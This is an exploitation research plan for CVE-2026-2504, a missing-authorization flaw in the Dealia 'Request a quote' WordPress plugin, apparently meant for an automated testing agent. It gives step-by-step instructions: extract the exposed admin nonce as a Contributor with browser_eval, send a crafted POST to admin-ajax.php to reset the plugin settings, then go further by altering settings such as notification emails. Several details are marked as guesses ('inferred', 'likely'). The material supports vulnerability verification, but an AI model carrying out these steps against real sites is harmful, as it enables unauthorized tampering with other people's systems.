Exploitation Research Plan: CVE-2026-2504

1. Vulnerability Summary

The Dealia – Request a quote plugin (versions <= 1.0.7) contains a missing authorization vulnerability in its administrative AJAX handlers. Specifically, the plugin fails to perform capability checks (e.g., current_user_can('manage_options')) in the AdminSettingsController.php handlers. While these handlers verify a nonce (DEALIA_ADMIN_NONCE), this nonce is improperly exposed to all authenticated users with the edit_posts capability (Contributor level and above) through wp_localize_script() in PostsController.php. This allows an attacker with low-level administrative access to perform high-privileged actions, such as resetting the entire plugin configuration.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Vulnerable AJAX Action: dealia_reset_settings (inferred based on description; to be verified in AdminSettingsController.php).
• Payload Parameter: action=dealia_reset_settings&nonce=[NONCE]
• Authentication: Authenticated, Contributor level (edit_posts) or higher.
• Preconditions:
  • The attacker must be logged in as a Contributor.
  • The plugin must be active.

3. Code Flow

1. Nonce Exposure:

   • In PostsController.php, the plugin hooks into admin_enqueue_scripts (or a similar hook that runs on post editing pages).
   • It calls wp_localize_script() to pass data to the browser.
   • Verbatim from description: The nonce variable is DEALIA_ADMIN_NONCE.
   • Because Contributors have access to wp-admin/post-new.php and post.php (via edit_posts), the nonce is rendered in their browser source code.

2. Missing Authorization:

   • In AdminSettingsController.php, the AJAX handler is registered via add_action( 'wp_ajax_dealia_reset_settings', ... ).
   • The handler likely calls check_ajax_referer( 'dealia_admin_nonce', 'nonce' ).
   • The handler fails to call current_user_can( 'manage_options' ).
   • The handler proceeds to call a function that deletes or resets entries in the wp_options table (e.g., delete_option('dealia_settings')).

4. Nonce Acquisition Strategy

The DEALIA_ADMIN_NONCE is localized for use in the post-editing interface. We will extract it using the browser context of a Contributor user.

1. Identify JS Object: Based on wp_localize_script patterns, the data is likely stored in a global JS object. Given the identifier DEALIA_ADMIN_NONCE, the object name is likely dealia_admin or dealia_obj.
2. Navigation: Log in as a Contributor and navigate to /wp-admin/post-new.php.
3. Extraction: Use browser_eval to find the nonce.
   • Draft Script: browser_eval("window.dealia_admin?.DEALIA_ADMIN_NONCE || window.dealia_posts_obj?.nonce")
   • Refined Strategy: Search the HTML source for DEALIA_ADMIN_NONCE if the JS variable path is unknown.

5. Exploitation Strategy

Step 1: Discover the exact AJAX Action and Nonce Key

Search the plugin source for the registration of the reset handler.

• grep -r "wp_ajax_dealia_" . in the plugin directory.
• Identify the function name in AdminSettingsController.php.

Step 2: Test Data Setup (as Admin)

1. Set a custom value for the plugin settings to ensure the reset is observable.
   wp option update dealia_settings '{"test_key":"compromised_value"}' --format=json

Step 3: Trigger Exploit (as Contributor)

1. Login: Authenticate as the Contributor user.

2. Fetch Nonce: Navigate to /wp-admin/post-new.php and extract the nonce using the browser_eval tool.

3. Send Malicious Request:
   Use http_request to send a POST to admin-ajax.php.

   Request Details:

   • Method: POST
   • URL: http://[TARGET]/wp-admin/admin-ajax.php
   • Headers: Content-Type: application/x-www-form-urlencoded
   • Body: action=dealia_reset_settings&security=[EXTRACTED_NONCE]
     (Note: The parameter name for the nonce might be security, nonce, or _wpnonce. Verify this in the check_ajax_referer call in AdminSettingsController.php.)

6. Test Data Setup

• User: Create a user attacker with the contributor role.
• Plugin Config: Ensure the plugin dealia-request-a-quote is installed and activated.
• Target Option: Populate dealia_settings (the primary option name for this plugin) with non-default data.

7. Expected Results

• Response: The admin-ajax.php request should return a 200 OK with a body like 1 or {"success":true}.
• Database State: The dealia_settings option in the wp_options table should either be deleted or returned to its default factory values.

8. Verification Steps

1. Check the option value via WP-CLI:
   wp option get dealia_settings
2. If the exploit was successful, the command will either return the default settings or an error indicating the option does not exist (if deleted). Compare this against the "compromised_value" set during setup.

9. Alternative Approaches

• Identify other handlers: If dealia_reset_settings is not the exact name, search for any AJAX action in AdminSettingsController.php that uses the DEALIA_ADMIN_NONCE. Other vulnerable actions might include dealia_save_settings or dealia_clear_log.
• Direct Option Modification: If a "Save Settings" handler is also vulnerable (likely, given the description "multiple AJAX handlers"), attempt to modify settings directly to gain further impact (e.g., enabling an open-quote system or changing notification emails).